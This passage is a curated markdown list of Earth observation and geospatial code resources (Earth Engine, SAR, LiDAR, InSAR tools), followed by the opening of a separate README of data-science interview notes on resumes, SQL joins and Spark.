Cookbook](https://developers.google.com/earth-engine/tutorials/community/beginners-cookbook) - n this tutorial, we will introduce several types of geospatial data, and enumerate key Earth Engine functions for analyzing and visualizing them. This cookbook was originally created as a workshop during Yale-NUS Data 2.0 hackathon, and later updated for Yale GIS Day 2018 and 2019. `JavaScript` - [Google Earth Engine Repos](https://github.com/topics/earth-engine) - all the repos matching `earth-engine` - [geetools](https://github.com/fitoprincipe/geetools-code-editor) - A set of tools to use in Google Earth Engine Code Editor `JavaScript` [docs](https://github.com/fitoprincipe/geetools-code-editor/wiki) - [gee-up](https://github.com/samapriya/geeup) - Simple CLI for Google Earth Engine Uploads [docs](https://pypi.org/project/geeup/) - [gee_asset_manager](https://github.com/samapriya/gee_asset_manager_addon) - Google Earth Engine Asset Manager with Addons [docs](https://samapriya.github.io/gee_asset_manager_addon/) - [Planet-GEE_Pipeline](https://github.com/samapriya/Planet-GEE-Pipeline-CLI) -Planet and Google Earth Engine Pipeline Command Line Interface Tool [docs](https://pypi.org/project/ppipe/) - [GEE code archive](https://github.com/gena/ee-code-editor-archive) - Unsorted archived Earth Engine scripts `JavaScript` - [Python GEE notebooks](https://github.com/giswqs/earthengine-py-notebooks) - A collection of 360+ Jupyter Python notebook examples for using Google Earth Engine with interactive mapping - [GEE Map](https://github.com/giswqs/geemap) - A Python package for interactive mapping with Google Earth Engine, ipyleaflet, and ipywidgets - [cloud frequency app](https://github.com/robintw/CloudFrequencyApp) - CloudFrequency webapp, using Google App Engine `Python` `JavaScript` - [rgee](https://github.com/r-spatial/rgee) - Google Earth Engine for `R` [docs](https://csaybar.github.io/rgee/) - [ee-tensorflow-notebooks](https://github.com/gee-community/ee-tensorflow-notebooks) - Repository to place example notebooks for Deep Learning applications with TensorFlow and Earth Engine. - [remote-sensing-resistance](https://github.com/mikoontz/remote-sensing-resistance) - Does heterogeneity in forest structure make a forest resistant to wildfire? - [GoogleEarthEngine](https://github.com/evan-delancey/GoogleEarthEngine) - forestry related work - [ee-jupyter-examples](https://github.com/tylere/ee-jupyter-examples) - Example Jupyter Notebooks, including ones that use the Earth Engine `Python` API - [jupyterlab-ee](https://github.com/tylere/jupyterlab-ee) - Experiments related to getting JupyterLab and Earth Engine to work together. `Python` - [EEwPython](https://github.com/csaybar/EEwPython) - A series of Jupyter notebook to learn Google Earth Engine with `Python` - [GoogleEarthEngine-side-projects](https://github.com/chrieke/GoogleEarthEngine-side-projects) - Google Earth Engine side projects and tutorial scripts `JavaScript` - [ox_gee_tutorial](https://github.com/tommylees112/ox_gee_tutorial) - Oxford MSc Introduction to Hydrological Applications in Google Earth Engine - [crop_yield_prediction](https://github.com/JiaxuanYou/crop_yield_prediction) - Crop Yield Prediction with Deep Learning with GEE - [geecrop](https://github.com/profLewis/geecrop) - Earth Engine-based crop information - [radiometric-slope-correction](https://github.com/ESA-PhiLab/radiometric-slope-correction) - Radiometric Slope Correction of Sentinel-1 data on Google Earth Engine - [geebap](https://github.com/fitoprincipe/geebap) - Best Available Pixel (BAP) composite in Google Earth Engine (GEE) using the `Python` API - [Ecuador_SEPAL](https://github.com/sig-gis/Ecuador_SEPAL) - processing script for Sentinel-2 and Landsat-8 - [geeguide](https://github.com/ndminhhus/geeguide) - Harmonization of Landsat and Sentinel 2 in Google Earth Engine, documentation and scripts - [EE-Examples](https://github.com/gorelick/EE-Examples) - `Javascript` some (old?) example scripts from Noel Gorelick - lead author [Google Earth Engine: Planetary-scale geospatial analysis for everyone](https://www.sciencedirect.com/science/article/pii/S0034425717302900) - [global-river-ice-dataset-from-landsat](https://github.com/seanyx/global-river-ice-dataset-from-Landsat) - `Python` (Google Earth Engine), `JavaScript` (Google Earth Engine) and `R` code to extract river ice condition from Landsat satellites, to develop empirical model, and to predict future changes in river ice - [GEE_Functions](https://github.com/JavierLopatin/GEE_Functions) - A set of functions to work in Google Engine `Javascript` - [HMS-Smoke](https://github.com/tianjialiu/HMS-Smoke) - HMS Smoke Explorer: To visualize NOAA's Hazard Mapping System (HMS) smoke product `Javascript` - [Building_Identification_Damage_Assessment](https://github.com/welkinland/Building_Identification_Damage_Assessment) - Building Extraction and Damage Assessment from High Resolution Multi-spectral Images `Python` - [Fire_Pattern_Analysis_CONUS](https://github.com/welkinland/Fire_Pattern_Analysis_CONUS) - Analysis of fire patterns and drivers in CONUS `Python` - [Best Available Pixel](https://github.com/saveriofrancini/bap) - Best Available Pixel calculation using Google Earth Engine `Javascript` - [ee-palettes](https://github.com/gee-community/ee-palettes) - A set of common color palettes for Google Earth Engine ## Open Data Cube - [Opendatacube](https://github.com/opendatacube) - [Datacube Core](https://github.com/opendatacube/datacube-core) - Open Data Cube analyses continental scale Earth Observation data through time `Python` `xarray` - [Datacube Explorer](https://github.com/opendatacube/datacube-core) - A web frontend for viewing the Open Data Cube index, including searching for scenes and downloading individual files `Python` - [Datacube OWS](https://github.com/opendatacube/datacube-ows) - Open web services for the Open Data Cube. Supports WMS, WMTS and WCS for any dataset indexed into the ODC `Python` - [ODC STAC](https://github.com/opendatacube/odc-stac) - A stand-alone Python library that allows the loading of STAC Items into an ODC-compatible Xarray `xarray` `Python` - [data_cube_notebooks](https://github.com/ceos-seo/data_cube_notebooks) - Jupyter Notebook examples for our Data Cube capable algorithms and functions `Python` - [Digital Earth Australia Notebooks](https://github.com/GeoscienceAustralia/dea-notebooks) - Repository for Jupyter Notebooks, tools and workflows for continental-scale earth observation/geospatial analysis with Open Data Cube and `xarray` `Python` - [Digital Earth Africa Sandbox Notebooks](https://github.com/digitalearthafrica/deafrica-sandbox-notebooks) - Extra documentation about using ODC with Jupyter Notebooks with DE Africa-specific examples `xarray` `Python` ## Other Datacube-related Python - [Google Earth Engine Python examples](https://github.com/renelikestacos/Google-Earth-Engine-Python-Examples) - Various examples for Google Earth Engine in `Python` using Jupyter Notebook - [stackstac](https://github.com/gjoseph92/stackstac) - Turn a STAC catalog into a dask-based xarray `Python` ## Planetary Computer ** new and under dev ** - [Sentinel2 on planetary computer](https://github.com/Element84/geo-notebooks/blob/main/notebooks/odc-planetary-computer.ipynb) - notebook explores Sentinel-2 data on Microsoft's Planetary Computer `Python` - [mircosoft](https://github.com/microsoft) - Microsoft git repo - [reading-stac](https://planetarycomputer.microsoft.com/docs/quickstarts/reading-stac/) - Reading Data from the STAC API - [PlanetaryComputerExamples](https://github.com/microsoft/PlanetaryComputerExamples) - Examples of using the Planetary Computer `Python` - [sdk-python](https://github.com/microsoft/planetary-computer-sdk-for-python) - Planetary Computer SDK for `Python` - [planetary-computer-deep-dives](https://github.com/TomAugspurger/planetary-computer-deep-dives) - `Python` - [pearl-backend](https://github.com/developmentseed/pearl-backend) - PEARL (Planetary Computer Land Cover Mapping) Platform API and Infrastructure `Python` ## QGIS and Grass - [Qgis Earth Engine Plugin](https://github.com/gee-community/qgis-earthengine-plugin) - Integrates Google Earth Engine and QGIS using Python API - [QGIS Earth Engine Plugin - installation guide](https://gee-community.github.io/qgis-earthengine-plugin/) - [grass-dev-py3-pdal](https://github.com/OSGeo/grass/tree/master/docker) - Dockerfile which compiles GRASS GIS 7.9 master with Python 3 and PDAL suppor - [qgis-plugin-planet](https://github.com/planetlabs/qgis-planet-plugin) - Browse, filter, preview and download Planet Inc imagery in QGIS. `Python` - [TSTools - archived](https://github.com/ceholden/TSTools) - QGIS2 plugin tools for remote sensing timeseries `Python` ## Climate and weather based resources These are `Python` resources. Please see [R resources](#resources-for-r) for info on R - [s3 tools](https://github.com/maximlamare/s3_tools) - A collection of sentinel 3 processing tools `Python` - [eumetsat -python](https://github.com/guidocioni/eumetsat-python) - Shows how to read and plot satellite data from EUMETSAT NETCDF files `Python` - [unidata on GOES-16](https://unidata.github.io/python-gallery/examples/mapping_GOES16_TrueColor.html) - This notebook shows how to make a true color image from the GOES-16 Advanced Baseline Imager (ABI) level 2 data. We will plot the image with matplotlib and Cartopy.`Python` - [MetPy](https://github.com/Unidata/MetPy) - MetPy is a collection of tools in Python for reading, visualizing and performing calculations with weather data. `Python` - [MetPy docs](https://unidata.github.io/MetPy/latest/)`Python` - [aqua-monitor](https://github.com/Deltares/aqua-monitor) - Monitoring surface water changes from space at global scale. Also checkout the [app](https://aqua-monitor.appspot.com/) `Python` - [Ocean Color - Modis](https://github.com/JackieVeatch/ocean_color) - introduction to accessing and plotting ocean color satellite data from MODIS `Python` - [Climate data science](https://github.com/willyhagi/climate-data-science) - Climate Data Science and Earth Observation with `Python` - [COST-EUMETSAT-Training](https://github.com/gher-ulg/COST-EUMETSAT-Training) - Material, data and presentations for the COST-EUMETSAT training school - [eumetsat](https://github.com/openclimatefix/eumetsat) - Tools for downloading and processing satellite images from EUMETSAT - [coda_eumetsat](https://github.com/nicolaerosca/coda_eumetsat) - Coda Eumetsat (coda.eumetsat.int) client for downloading data - [ai4eo-forecast](https://gitlab.com/Pablo-DBG/ai4eo-forecast) - Developing an open source library to compare Earth Observation and weather forecast services with the actual measurements and assess the accuracy of the forescast `Python` ### EUMETlab Such a vast collection of resources that it warrants a sub section within Climate and weather based resources - [EUMETlab](https://gitlab.eumetsat.int/eumetlab) - This page contains groups of code repositories that have been made open to the public by EUMETSAT and our collaborators. - [atmosphere](https://gitlab.eumetsat.int/eumetlab/atmosphere/atmosphere) - LTPy - Learning tool for Python on Atmospheric Composition Data is a Python-based training course on Atmospheric Composition Data. The training course covers modules on data access, handling and processing, visualisation as well as case studies. - [sentinel-downloader](https://gitlab.eumetsat.int/eumetlab/cross-cutting-tools/sentinel-downloader) - Python-based Sentinel satellite data downloader. This script allows for batch downloading of Sentinel data selected by various criteria include date, location, sensor, child products, flags and more. - [olci-iop-processor](https://gitlab.eumetsat.int/eumetlab/oceans/ocean-science-studies/olci-iop-processor) - Code to produce Inherent Optical Properties from Level-2 OLCI data. ## DEM projects - [Tin Terrain](https://github.com/heremaps/tin-terrain) - A command-line tool for converting heightmaps in GeoTIFF format into tiled optimized meshes. - [TauDEM](https://github.com/dtarb/TauDEM) - Terrain Analysis Using Digital Elevation Models (TauDEM) software for hydrologic terrain analysis and channel network extraction. [Docs](http://hydrology.usu.edu/taudem/taudem5/index.html) - [DEM.net](https://github.com/dem-net/DEM.Net) - Digital Elevation model library in C#. 3D terrain models, line/point Elevations, intervisibility reports. [Docs](https://elevationapi.com/) - [Stereo Mapping to create Elevation with Python](https://github.com/cmla/s2p) - Satellite Stereo Pipeline - [DSM2DTM](https://github.com/mprakhar/DSM2DTM) - Code for the paper - Comparison of Digital Building Height Models Extracted from AW3D, TanDEM-X, ASTER, and SRTM Digital Surface Models over Yangon City `Python` - [The Stereo Pipeline (NASA)](https://ti.arc.nasa.gov/tech/asr/groups/intelligent-robotics/ngt/stereo/) - The NASA Ames Stereo Pipeline (ASP) is a suite of free and open source automated geodesy and stereogrammetry tools designed for processing stereo imagery captured from satellites ## SAR - [SAR docker](https://github.com/mortcanty/SARDocker) - Source files for Docker image mort/sardocker/ - [awesome SAR](https://github.com/lveci/awesome-sar) - A curated list of awesome Synthetic Aperture Radar (SAR) software, libraries, and resources. - [pyroSAR](https://github.com/johntruckenbrodt/pyroSAR) - framework for large-scale SAR satellite data processing - [PyRAT](https://github.com/birgander2/PyRAT) - General purpose Synthetic Aperture Radar (SAR) postprocessing software package `Python` - [RITSAR](https://github.com/dm6718/RITSAR) - Synthetic Aperture Radar (SAR) Image Processing Toolbox for `Python` - [PySAR](https://github.com/bminchew/PySAR) - PyAR is a perpetually incomplete, general-purpose toolbox for common post-processing tasks involving synthetic aperture radar (SAR).`Python` `C++` - [sarbian](https://github.com/EO-College/sarbian) - a plug’n play Operation System (based on Debian Linux) with all the freely and openly available SAR processing software - [OpeSARToolkit](https://github.com/ESA-PhiLab/OpenSarToolkit) - High-level functionality for the inventory, download and pre-processing of Sentinel-1 data in the `python` language. - [infrastructure](https://github.com/ESA-PhiLab/infrastructure) - Mapping and monitoring of infrastructure in desert regions with Sentinel-1 - [OST_Notebook](https://github.com/ESA-PhiLab/OST_Notebooks) - The notebooks within this repository provide getting started tutorials for the use of the Open SAR Toolkit, found here in the ESA-philab github channel. - [S1_ARD](https://github.com/johntruckenbrodt/S1_ARD) - repository for testing analysis-readiness of Sentinel-1 RTC backscatter `Python` - [sea_ice_drift](https://github.com/nansencenter/sea_ice_drift) - Sea ice drift from Sentinel-1 SAR imagery using open source feature tracking `Python` - [s1prepro](https://github.com/benjimin/s1prepro) - Automated pre-processing of Sentinel 1 (satellite radar imagery) `Python` - [Spacenet6 - SAR buildings](https://github.com/SpaceNetChallenge/SpaceNet_SAR_Buildings_Solutions) - The winning solutions for the SpaceNet 6 Challenge `Python` - [sentinel1-opds](https://github.com/earthobservatory/sentinel1-opds) - sentinel1-opds ingestion `Python` - [rice_sentinel1](https://github.com/AndrewPham9/rice_sentinel1) - classify rice from sentinel 1 data `Python` - [sentineldenoised](https://github.com/nansencenter/sentinel1denoised) - Thermal noise subtraction, scalloping correction, angular correction `Python` - [sentinel1-Biodiversity](https://github.com/So-YeonBae/Sentinel1-Biodiversity) - Code, example dataset, and instructions of Sentinel-1 data pre-processing and pixel-based summary statistics used in "Radar vision for mapping forest biodiversity from space" `Python` - [Step by step: Radar-based flood mapping with Python](https://un-spider.org/advisory-support/recommended-practices/recommended-practice-flood-mapping/python-step-by-step) and [github link](https://github.com/UN-SPIDER/radar-based-flood-mapping) - This repository contains a Jupyter Notebook for automatic flood extent mapping using space-based information. `Python` - [STAC Sentinel1](https://github.com/stactools-packages/sentinel1) - stactools package for working with sentinel1 data `Python` - [sarsen](https://github.com/bopen/sarsen) - Algorithms and utilities for Synthetic Aperture Radar (SAR) sensors - [S1_NRB](https://github.com/SAR-ARD/S1_NRB) - A prototype processor for the Sentinel-1 Normalised Radar Backscatter product. ## LiDAR - [ICESAT extraction script](https://gist.github.com/bzgeo/950f3db986b3513311ed42efe2395171) - Python script to convert from ICESat-2 ATL08 HDF data to shapefile. Usage: 'python icesat2_shp.py - [ICESAT tools](https://github.com/icesat-2UT/PhoREAL) - Tools and code for Icesat-2 data analysis (Python) - [usgs-lidar](https://github.com/hobu/usgs-lidar) - AWS Entwine Point Tiles USGS LiDAR Public Dataset GitHub repo - [Lidar](https://github.com/giswqs/lidar) - Terrain and hydrological analysis based on LiDAR-derived digital elevation models (DEM) - [IcePyx](https://github.com/icesat2py/icepyx) - Python tools for obtaining and working with ICESat-2 data ### GEDI - [pyGEDI](https://github.com/EduinHSERNA/pyGEDI) - pyGEDI is a Python Package for NASA's Global Ecosystem Dynamics Investigation (GEDI) mission, data extraction, analysis, processing and visualization. - [GEDI extraction script](https://gist.github.com/KMarkert/c68ccf53260d7b775b836bf2e11e2ec3) - Python script to take GEDI level 2 data and convert variables to a geospatial vector format - [rGEDI](https://github.com/carlos-alberto-silva/rGEDI) - rGEDI: An R Package for NASA's Global Ecosystem Dynamics Investigation (GEDI) Data Visualization and Processing. - [pysl4land](https://github.com/remotesensinginfo/pysl4land) - `Python` tools to process spaceborne lidar (GEDI and ICESAT2) for land (pySL4Land) applications - [gedi](https://github.com/rodolfolotte/gedi) - `Python` tutorial to process and handle LiDAR GIDE datasets - [sprnca_gedi](https://github.com/rbavery/sprnca_gedi) - WIP to map Foliage Height Diversity along the San Pedro Riparian Corridor with NASA's GEDI Lidar `Python` - [GEDI_Yucatan](https://github.com/JohMast/GEDI_Yucatan) - Supplementary material for the study: Space Lidar for Archaeology? Reanalyzing GEDI Data for Detection of Ancient Maya Buildings `R` - [q_research](https://github.com/HeatherKmtb/q_research) - For processing of ICESat GLAS, GEDI and ICESat-2 LiDAR data, to derive q parameter for canopy height to density relationship `Python` ## InSAR - [ISCE](https://github.com/isce-framework/isce3) - InSAR Scientific Computing Environment version 3 alpha - [LiCSBAS](https://github.com/yumorishita/LiCSBAS) - LiCSBAS package to carry out InSAR time series analysis using LiCSAR products - [MintPy](https://github.com/insarlab/MintPy) - Miami InSAR time-series software in Python - [Pyrocko](https://pyrocko.org/) - Can be utilized flexibly for a variety of geophysical tasks, like seismological data processing and analysis, modelling of InSAR, GPS data and dynamic waveforms, or for seismic source characterization. - [InSARFlow](https://github.com/levuvietphong/InSARFlow) - Parallel InSAR processing for Time-series analysis - [PyRate](https://github.com/GeoscienceAustralia/PyRate) - A Python tool for estimating velocity and time-series from Interferometric Synthetic Aperture Radar (InSAR) data. - [ARIRA-tools](https://github.com/aria-tools/ARIA-tools) - Tools for exploiting ARIA standard products `Python` - [ISCE_utils](https://github.com/EJFielding/ISCE_utils) - Small utility scripts for working with InSAR Scientific Computing Environment (ISCE) products `Python` - [ROI_PAC-Sentinel1](https://github.com/RaphaelGrandin/ROI_PAC-Sentinel1) - InSAR processing of Sentinel-1 using ROI_PAC - [insar_scripts](https://github.com/scottyhq/insar_scripts) - Useful scripts for working with roipac data `Python` - [isce2](https://github.com/isce-framework/isce2) - InSAR Scientific Computing Environment version 2 `Python` - [snap2stamps](https://github.com/mdelgadoblasco/snap2stamps) - Using SNAP as InSAR processor for StaMPS ## Landuse - [demeter](https://github.com/JGCRI/demeter) - A land use land cover disaggregation and change detection model `Python` ## Visualisation - [Tiled video!](http://gena.github.io/experiments/mapbox/debug/tiled-video-no2.html) - [Video map](https://github.com/openearth/videomap) - Tools to create, , export and share video maps - [Tree height and canopy cover map in 3D](https://github.com/nkeikon/GEDI-experiment) - Use Kepler.gl to visualise 3D and 2D data - [Greppo](https://github.com/greppo-io/greppo) - Python framework for building geospatial web-applications ## Regular blogs of significant interest or posts of interest - [Philipp Gartner blog](https://philippgaertner.github.io/) - [Series Temporelles](https://labo.obs-mip.fr/multitemp/) - [The downlinq](https://medium.com/the-downlinq) - [GEDI canopy data](https://medium.com/@abt0020/extracting-canopy-height-with-gedi-data-5af8c87df158) - How we processed data to retrieving canopy height ## EO code Competitions - [challenges 2020](https://github.com/esowc/challenges_2020) - ECMWF Summer of Weather Code 2020 challenges - [challenges 2021](https://github.com/esowc/challenges_2021) - ECMWF Summer of Weather Code 2021 challenges - [Julia Wagemann github](https://github.com/jwagemann) - Making open meteorological and climate data better accessible. `Python`, `Jupyter` and `R`. - See also [Sentinel hub competitions](https://www.sentinel-hub.com/develop/community/contest/) <br><i>'older' competitions of note</i></br> - [Planet: Understanding the Amazon from Space](https://www.kaggle.com/c/planet-understanding-the-amazon-from-space/overview) - Use satellite data to track the human footprint in the Amazon rainforest - [DeepGlobe Building Extraction Challenge](https://competitions.codalab.org/competitions/18544) - We would like to pose the challenge of automatically detecting buildings from satellite images. - [DSTL feature extraction](https://www.kaggle.com/c/dstl-satellite-imagery-feature-detection) - Kagglers are challenged to accurately classify features in overhead imagery - [crowdAI misisng maps challenge](https://www.aicrowd.com/challenges/mapping-challenge) - Building Missing Maps with Machine Learning - [openAI solution](https://github.com/neptune-ai/open-solution-mapping-challenge) - Open solution to the Mapping Challenge - [AtmosHack2018](https://github.com/wekeo/AtmosHack2018) - Contains information and resources for Copernicus Hackathon 2018 in Helsinki - [drivendataorg - cloud-cover-winners](https://github.com/drivendataorg/cloud-cover-winners) - Code from the winning submissions for the On Cloud N: Cloud Cover Detection Challenge ## ARD links - [S1_S2_ARD_code_list](https://github.com/jncc/s1-s2-ard-code-list) - A curated list supporting the use of Sentinel-1 and Sentinel-2 analysis-ready data (ARD) via application programming interface (API) ## Useful EO code based twitter accounts - [pyGEDI](https://twitter.com/pyGEDI) - pyGEDI is a Python Package for NASA's Global Ecosystem Dynamics Investigation (GEDI) mission, data extraction, analysis, processing and visualization. ## Great Github accounts Please do explore these accounts, there are some absolutely brilliant projects on these accounts. This was previously a section containing examples, but these are better grouped into the other headings and repitition of links removed. However I feel its very important to highlight individuals wherever possible, ordered by github account name. | [Chis Holden github](https://github.com/ceholden) | [Christoph Rieke git hub](https://github.com/chrieke) | [gena github](https://github.com/gena) | [jgomezdans github](https://github.com/jgomezdans) - [blog](http://jgomezdans.github.io/) | [Johntruckhenbrodt github](https://github.com/johntruckenbrodt) | [Marcus Netler on github](https://github.com/neteler) | [Oliverhagolle github](https://github.com/olivierhagolle) | [PerryGeo](https://github.com/perrygeo) | [giswqs - Qiusheng Wu github](https://github.com/giswqs) | [rhammell](https://github.com/rhammell) | [Remote pixel github](https://github.com/RemotePixel) | [robintw](https://github.com/robintw) | [Evan Roualt github](https://github.com/rouault) | [samapriya github](https://github.com/samapriya) | [shakasom github](https://github.com/shakasom) | [yannforget github](https://github.com/yannforget) | ## EO Geospatial companies or orgs making big contributions Github accounts only with examples of work. This section used to contain examples of work, these have been now regrouped into other sections to make them easier to find. | [development seed](https://github.com/developmentseed) | [mapbox](https://github.com/mapbox) | [Planet Labs, now just Planet](https://github.com/planetlabs) | [Digital Globe - now Maxar](https://github.com/DigitalGlobe) | [Azavea](https://github.com/azavea) | [Radiant Earth foundation](https://github.com/radiantearth) | [Sentinel Hub](https://github.com/sentinel-hub) | [PyTroll](https://github.com/pytroll) | [CosmiQ](https://github.com/CosmiQ) | [Theia software and tools](https://www.theia-land.fr/en/softwares-and-tools/) | [sparkgeo](https://github.com/sparkgeo) | [Geoscience Australia](https://github.com/GeoscienceAustralia) | [Dymaxion Labs](https://github.com/dymaxionlabs) | [Satellogic](https://github.com/satellogic) | [senbox-org](https://github.com/senbox-org) | [Nasa-gibs](https://github.com/nasa-gibs) | [mundialis](https://github.com/mundialis) | [ESA_PhiLab](https://github.com/ESA-PhiLab) | [Element 84](https://github.com/Element84) ## Interesting Non EO parts Python This bit could potentially become the most valuable resource. Lets not ignore other sectors/industries/data science, instead lets embrace it and learn from all that other amazing stuff! This my prelude to saying we are earth data scientists - [realtime covid19 graphs in USA](https://github.com/k-sys/covid-19) - A collection of work related to COVID-19 - [Deep learning with Python notebooks](https://github.com/fchollet/deep-learning-with-python-notebooks) - Jupyter notebooks for the code samples of the book "Deep Learning with Python" - [Python data science handbook](https://jakevdp.github.io/PythonDataScienceHandbook/) - [A-Z of tips and tricks for Python](https://www.freecodecamp.org/news/an-a-z-of-useful-python-tricks-b467524ee747/) - 'Most of these ‘tricks’ are things I’ve used or stumbled upon during my day-to-day work. ' - [Visual intro into Numpy](https://jalammar.github.io/visual-numpy/)- Visualizing machine learning one concept at a time - [Change your Jupyter Theme](https://github.com/dunovank/jupyter-themes) - Custom Jupyter Notebook Themes - [Awesome Semantic Segmentation](https://github.com/mrgloom/awesome-semantic-segmentation) - awesome-semantic-segmentation - [unidata Python workshop](https://unidata.github.io/python-training/workshop/workshop-intro/) - Would you like some in-depth training on the scientific Python ecosystem for atmospheric science and meteorology? Work through our workshop materials at your own pace to learn and practice the syntax, functionality, and utility of this powerful programming language, or return to the material after taking the workshop in-person to further your understanding of the material you were taught. - [TernausNet - used in DSTL kaggle competition (came 3rd)](https://github.com/ternaus/TernausNet) - UNet model with VGG11 encoder pre-trained on Kaggle Carvana dataset - [Introduction to Python for computational science](https://github.com/fangohr/introduction-to-python-for-computational-science-and-engineering) - Book: Introduction to Python for Computational Science and Engineering - [Another Book on Data Science](https://www.anotherbookondatascience.com/) - Learn R and Python in Parallel - [Xarray](https://github.com/pydata/xarray) - N-D labeled arrays and datasets in Python - [Matplotlib colab notebook tutorial](https://colab.research.google.com/github/ageron/handson-ml2/blob/master/tools_matplotlib.ipynb#scrollTo=gG7Fh4EMV2ey) - This notebook demonstrates how to use the matplotlib library to plot beautiful graphs. - [PostGIS raster cheatsheet](http://www.postgis.us/downloads/postgis20_raster_cheatsheet.pdf) - Useful tips on rasters in PostGIS - [65 data science books on Springer](https://towardsdatascience.com/springer-has-released-65-machine-learning-and-data-books-for-free-961f8181f189) - not checked but perhaps useful - [Intro to Numerical Computing - youtube](https://www.youtube.com/watch?v=V0D2mhVt7NE) - Intro to Numerical Computing with NumPy (Beginner) | SciPy 2018 Tutorial | Alex Chabot-Leclerc - [Classification-Algorithm](https://github.com/usmanr149/Classification-Algorithm) - Classification algorithm workshop for WiMLDS `Python` - [dtreeviz](https://github.com/parrt/dtreeviz) - A `Python` library for decision tree visualization and model interpretation. - [Python_tips](https://github.com/gpetepg/python_tips) - Some Python tips for beginner to intermediate users. Also used as a personal cheat sheet. - [introduction to ml with Python](https://github.com/amueller/introduction_to_ml_with_python) - Notebooks and code for the book "Introduction to Machine Learning with `Python`" - [Matplotlib_Cheatsheet](https://nbviewer.jupyter.org/urls/gist.githubusercontent.com/Jwink3101/e6b57eba3beca4b05ec146d9e38fc839/raw/f486ca3dcad44c33fc4e7ddedc1f83b82c02b492/Matplotlib_Cheatsheet) - Matplotlib_Cheatsheet `Python` - [GDSL-UL/Teaching_Links](https://github.com/GDSL-UL/Teaching_Links) - In this repo we have aimed to provide links to useful teaching resources for teaching Geographic / Spatial Data Science, GIS and Statistics. (perhaps misplaced in this list?) - [practical-python](https://dabeaz-course.github.io/practical-python/) - Practical Python Programming A course by @dabeaz - [GeoStats, Resources](https://github.com/GeostatsGuy/Resources/blob/master/README.md) - Geostatistics ## Interesting Non EO parts other languages This section is aimed more a data science/programming resources that 'might' be applicable to Earth Observation, that are <b>not </b>Python - [Efficient R programming](https://csgillespie.github.io/efficientR/) - This is the online version of the O’Reilly book: Efficient R programming. Code is [here](https://github.com/csgillespie/efficientR) ## Data I don't really want to add many data resources to this list as it creeps out of scope but this part contains some good data links [not necessarily EO] - [Environmental_Intelligence](https://github.com/rockita/Environmental_Intelligence) - Data for Environmental Intelligence: A mega list of Earth System Datasets covering earth observations, climate, water, forests, biodiversity, ecology, protected areas, natural hazards, marine and the tracking of UN's Sustainable Development Goals - [gibs](https://earthdata.nasa.gov/eosdis/science-system-description/eosdis-components/gibs) - This is EO - [awesome-gee-community-datasets](https://samapriya.github.io/awesome-gee-community-datasets/) - Community Datasets added by users and made available for use at large ## A footnote on awesome There are many awesome lists relating to 'Geo'. I use that term as widely as possible. This list is not meant to replace these lists. Earth Observation is still <b>way</b> behind the GIS world in terms of audience, reach, number of users etc. Things are changing though, by bringing these links together I hope you can see that there has been so much progress in the last 5 years. I do hope these links are helpful espcially to those who are new to Earth Observation, but also to people like me who with several years of experience think they may have seen it all - we haven't and there is still so much to learn. Earth Observation is not just an academic 'thing' or a basemap anymore, it forms the basis for a growing and diverse business environment. Lets embrace this. Finally, I wanted to acknowledge a couple of awesome Earth Observation lists that you may list to check out: - [Awesome Sentinel](https://github.com/Fernerkundung/awesome-sentinel) - curated list of awesome tools, tutorials and APIs for Copernicus Sentinel satellite data - [awesome-remote-sensing](https://github.com/attibalazs/awesome-remote-sensing) - Collection of Remote Sensing Resources - [awesome-Geospatial](https://github.com/sacridini/Awesome-Geospatial) - Long list of geospatial tools and resources - [awesome-remote-sensing-change-detection](https://github.com/wenhwu/awesome-remote-sensing-change-detection) - List of datasets, codes, and contests related to remote sensing change detection. - [Awesome Geospatial Companies](https://github.com/chrieke/awesome-geospatial-companies) - List of 500+ geospatial companies (GIS, Earth Observation, UAV, Satellite, Digital Farming, ..) #### End [![CC BY 1.0][cc-by-shield]][cc-by] This work is licensed under a [Creative Commons Attribution 1.0 International License][cc-by]. [![CC BY 1.0][cc-by-image]][cc-by] [cc-by]: http://creativecommons.org/licenses/by/1.0/ [cc-by-image]: https://i.creativecommons.org/l/by/1.0/88x31.png [cc-by-shield]: https://img.shields.io/badge/License-CC%20BY%201.0-lightgrey

# This repo is depreciated, check out the latest [Nailing Machine Learning Concepts](https://github.com/jayinai/nail-ml-concept) The purpose of this repo is two fold: * To help you (data science practitioners) prepare for data science related interviews * To introduce to people who don't know but want to learn some basic data science concepts The focus is on the knowledge breadth so this is more of a quick reference rather than an in-depth study material. If you want to learn a specific topic in detail please refer to other content or reach out and I'd love to point you to materials I found useful. I might add some topics from time to time but hey, this should also be a community effort, right? Any pull request is welcome! Here are the categorizes: * [Resume](#resume) * [SQL](#sql) * [Tools and Framework](#tools-and-framework) * [Statistics and ML In General](#statistics-and-ml-in-general) * [Supervised Learning](#supervised-learning) * [Unsupervised Learning](#unsupervised-learning) * [Reinforcement Learning](#reinforcement-learning) * [Natural Language Processing](#natural-language-processing) * [System](#system) ## Resume The only advice I can give about resume is to indicate your past data science / machine learning projects in a specific, **quantifiable** way. Consider the following two statements: > Trained a machine learning system and > Designed and deployed a deep learning model to recognize objects using Keras, Tensorflow, and Node.js. The model has 1/30 model size, 1/3 training time, 1/5 inference time, and 2x faster convergence compared with traditional neural networks (e.g, ResNet) The second is much better because it quantifies your contribution and also highlights specific technologies you used (and therefore have expertise in). This would require you to log what you've done during experiments. But don't exaggerate. Spend some time going over your resume / past projects to make sure you explain them well. ## SQL * [Difference between joins](#difference-between-joins) ### Difference between joins * **(INNER) JOIN**: Returns records that have matching values in both tables * **LEFT (OUTER) JOIN**: Return all records from the left table, and the matched records from the right table * **RIGHT (OUTER) JOIN**: Return all records from the right table, and the matched records from the left table * **FULL (OUTER) JOIN**: Return all records when there is a match in either left or right table  [back to top](#data-science-question-answer) ## Tools and Framework The resources here are only meant to help you brush up on the topis rather than making you an expert. * [Spark](#spark) ### Spark Using PySpark API. * The best resource is of course [Spark's documentation](https://spark.apache.org/docs/latest/). Take a thorough review of the topics * If you are really time constrained, scan the Spark's documentation and check [PySpark cheat sheet](https://s3.amazonaws.com/assets.datacamp.com/blog_assets/PySpark_Cheat_Sheet_Python.pdf) for the basics [back to top](#data-science-question-answer) ## Statistics and ML In General * [Project Workflow](#project-workflow) * [Cross Validation](#cross-validation) * [Feature Importance](#feature-importance) * [Mean Squared Error vs. Mean Absolute Error](#mean-squared-error-vs.-mean-absolute-error) * [L1 vs L2 regularization](#l1-vs-l2-regularization) * [Correlation vs Covariance](#correlation-vs-covariance) * [Would adding more data address underfitting](#would-adding-more-data-address-underfitting) * [Activation Function](#activation-function) * [Bagging](#bagging) * [Stacking](#stacking) * [Generative vs discriminative](#generative-vs-discriminative) * [Parametric vs 